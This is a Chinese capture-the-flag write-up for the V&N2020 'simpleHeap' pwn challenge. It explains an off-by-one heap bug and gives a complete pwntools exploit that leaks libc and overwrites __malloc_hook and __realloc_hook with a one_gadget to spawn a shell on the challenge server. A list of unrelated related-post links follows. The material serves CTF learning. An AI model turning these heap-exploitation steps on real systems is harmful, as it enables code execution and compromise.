【pwn】V&N2020 公开赛 simpleHeap
【pwn】V&N2020 公开赛 simpleHeap
1、静态分析

首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载
然后checksec一下,保护全开

拖入IDA中分析
去除了符号表,通过menu函数分析出有add、edit、show、delete

1.add()

add函数分析一遍,发现没什么漏洞,就是普普通通的输入一个需要申请的size(空间大小),然后再向这个malloc的空间中输入content(内容),其中size不能大于111(0x6F)。
2.edit()

edit的功能就是输入一个index,然后修改这个index的内容。
问题出在了in(我自己重命名的)这个函数上,这个函数的功能是给prt[index]读入Size[index]大小的内容,但是我们进入这个函数看一看

其中红框的部分造成了off-by-one的漏洞,如果i == length那么其实会多写入一个字节,利用这个漏洞我们可以去篡改物理相邻的下一个chunk的size字段的最后一个字节,也就是给这个chunk的size给重写
3.show()

show函数就是把我们想要的index的content打印出来
没有漏洞存在
4.delete()

delete函数不仅free了ptr,还把ptr置为了NULL,不存在UAF和double free的漏洞
2、漏洞利用
分析完了上述的4种主要函数,发现能够利用的漏洞只有edit中的off-by-one一个点。那么如何通过这一个off-by-one的漏洞来获取shell呢?
exp如下:
from pwn import *
from LibcSearcher import *
# context.log_level="DEBUG"
def ret2libc(leak,func,path=""):
if path == "":
libc = LibcSearcher(fun,leak)
base = leak - libc.dump(func)
system = base + libc.dump("system")
binsh = base + libc.dump("str_bin_sh")
else:
libc = ELF(path)
libc.address = leak - libc.sym[func]
system = libc.sym["system"]
binsh = next(libc.search(b"/bin/sh"))
return (system,binsh)
s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b"\x00"))
uu64 = lambda data : u64(data.ljust(8,b"\x00"))
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : gdb.attach(io)
# io = process("./vn_pwn_simpleHeap")
io = remote("node4.buuoj.cn",27610)
elf = ELF("./vn_pwn_simpleHeap")
libc = ELF("./libc-2.23.so")
def add(size,content="a"):
sla(":","1")
sla("?",str(size))
sa(":",content)
def edit(index,content):
sla(":","2")
sla("?",str(index))
sla(":",content)
def show(index):
sla(":","3")
sla("?",str(index))
def free(index):
sla(":","4")
sla("?",str(index))
# start
add(0x18) # 0
add(0x68) # 1
add(0x68) # 2
add(0x18) # 3
edit(0,b"a"*0x18+b"\xe1") # 篡改1的size为e1,欺骗unsoted bin回收 1和2 这一个整体
free(1) # unsorted bin 回收了 1和2 这一块内存空间,但是 2 的指针仍然存在
add(0x68) # 将 1 从unsorted bin中分割出来,剩下的一半2仍然再unsorted bin中,用来泄露libc
show(2) # 用 2 来泄露main arean的地址,再减去0x10泄露出malloc_hook的地址,进而泄露出libc地址
base = uu64(r(6))- 88 - 0x10 - libc.sym["__malloc_hook"]
leak("base",base)
malloc_hook = base + libc.sym["__malloc_hook"]
add(0x60) # 4 <-> 2
free(3)
free(2)
edit(4,p64(malloc_hook-0x23)) # 将 2 的fd指针改为 malloc_hook - 0x23,这里其实是一个欺骗fastbin的位置,因为这里的size是0x7f,属于fastbin的范围
add(0x60) # 将 2 重新申请回来,此时的2的fd指针已经改写为了fake chunk的地址
payload = b"a"*11+p64(base+0x4526a)+p64(base+libc.sym["__libc_realloc"]+0xc) # 通过one_gadget来获取shell,但是这里选择的one_gadget rsp+0x30 == null无法满足,所以要去realloc中通过push、pop操作(也就是rsp+0x30-5*8==null)来满足条件,最后将one_gadget写入realloc_hook中
add(0x60,payload)
sla(":","1")
sla("?","1") # malloc发现malloc_hook不为空,去调用malloc_hook里面的realloc+0xc,realloc发现realloc_hook不为空,可以执行realloc下面一系列的pop操作,调节了栈帧,满足了one_gadget的条件,最后调用了realloc_hook中的one_gadeget从而获取了shell
ia()
【pwn】V&N2020 公开赛 simpleHeap的更多相关文章
- [BUUCTF]PWN——[V&N2020 公开赛]simpleHeap
[V&N2020 公开赛]simpleHeap 附件 步骤: 例行检查,64位,保护全开 根据题目可知是一道堆,直接用64位ida打开 我修改了这些函数的名称,这样方便看程序 add,我们可以 ...
- [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap
[V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...
- [BUUCTF]PWN——[V&N2020 公开赛]babybabypwn
[V&N2020 公开赛]babybabypwn 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看程序的大概情况 64位ida载入,看一下main函数 sub_1202()函 ...
- [BUUCTF]PWN——[V&N2020 公开赛]warmup
[V&N2020 公开赛]warmup 附件 步骤: 例行检查,64位程序,除了canary,其他保护都开 本地运行一下,看看大概的情况 64位ida载入,从main函数开始看程序 看到程序将 ...
- [BUUCTF]REVERSE——[V&N2020 公开赛]CSRe
[V&N2020 公开赛]CSRe 附件 步骤: 例行检查,无壳儿,但是有NET混淆,使用de4dot工具进行处理 之后用dnSpy打开,从入口点开始看程序 找到有关flag的信息 flag由 ...
- [BUUCTF]REVERSE——[V&N2020 公开赛]strangeCpp
[V&N2020 公开赛]strangeCpp 附加 步骤 查壳,无壳,64位程序 64位ida载入,没有main函数,根据程序里的字符串,去查看函数 __int64 __fastcall s ...
- 刷题记录:[V&N2020 公开赛]TimeTravel
题目复现链接:https://buuoj.cn/challenges 参考链接:2020 年 V&N 内部考核赛 WriteUp V&N公开赛2020 writeup httpoxy ...
- [V&N2020 公开赛] Web misc部分题解
0x00 前言 写了一天题目,学到了好多东西, 简单记录一下 0x01 Web HappyCTFd 直接使用网上公开的cve打: 解题思路:先注册一个admin空格账号,注意这里的靶机无法访问外网,邮 ...
- [V&N2020 公开赛]babybabypwn
写在开头,感谢"影二つ"师傅的指点. 题目的做法思路网上一搜一大把,这篇博客主要记录一下这道题用pwntools写srop的时候,为什么需要省略前面8个字节. 在看题目之前,先来学 ...
随机推荐
- SpringMVC编程:初始化项目部署后,主页404代码问题解决
SpringMVC 主页404问题 初始化项目后,Tomcat服务器显示404报错问题! 问题解决的原因是:项目依赖的jar包没有随着项目一块打包部署在Tomcat服务器上面,即缺少项目lib依赖. ...
- 韩顺平Java(持续更新中)
原创上课笔记,转载请注明出处 第一章 面向对象编程(中级部分) PDF为主 1.1 IDEA 删除当前行,ctrl+y 复制当前行,ctrl+d 补全代码,alt+/ 添加或者取消注释,ctrl+/ ...
- Mac 远程上传文件到 Linux
打开Mac自带终端: 在最顶端选择Shell ->新建远程连接: 选择sftp连接,填好服务器地址: 连接成功后.上传文件,使用 put 命令: put 本地文件路径 远程主机路径
- Vue3.0是如何变快的
1.diff算法优化 + Vue2中的虚拟dom是进行全量的对比 https://vue-next-template-explorer.netlify.app/ + Vue3新增了静态标记(Patch ...
- Visual Studio 2022有趣又强大的智能辅助编码
工欲善其事,必先利其器 作为一名.Net开发人员,开发利器当然是首选微软自家的:宇宙第一IDE - Visual Studio了. 这不 VS 2022 正式版已经发布近两个月了,我也体验了近两个月, ...
- JS获取客户的IP地址
这里使用的是第三方的获取方式,重要项目建议不要用,因为你不知道搜狐未来会不会倒闭,,, 搜狐IP地址查询接口(默认GBK):http://pv.sohu.com/cityjson 搜狐IP地址查询接口 ...
- 【LeetCode】277. Find the Celebrity 解题报告 (C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 暴力 日期 题目地址:https://leetcode ...
- 【LeetCode】156. Binary Tree Upside Down 解题报告(C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 递归 迭代 日期 题目地址:https://leet ...
- leetcode1261在受污染的二叉树中查找元素
题目 一颗二叉树,树根值为0,父节点为x,则左子值为2x+1,右子为2x+2.现在只有树的结构,所有值都变为-1被污染了.求污染前是否存在某个值. 构建一次树,查询会调用多次. 题解 这道题还是比较简 ...
- 1144 - Ray Gun
1144 - Ray Gun PDF (English) Statistics Forum Time Limit: 2 second(s) Memory Limit: 32 MB You are ...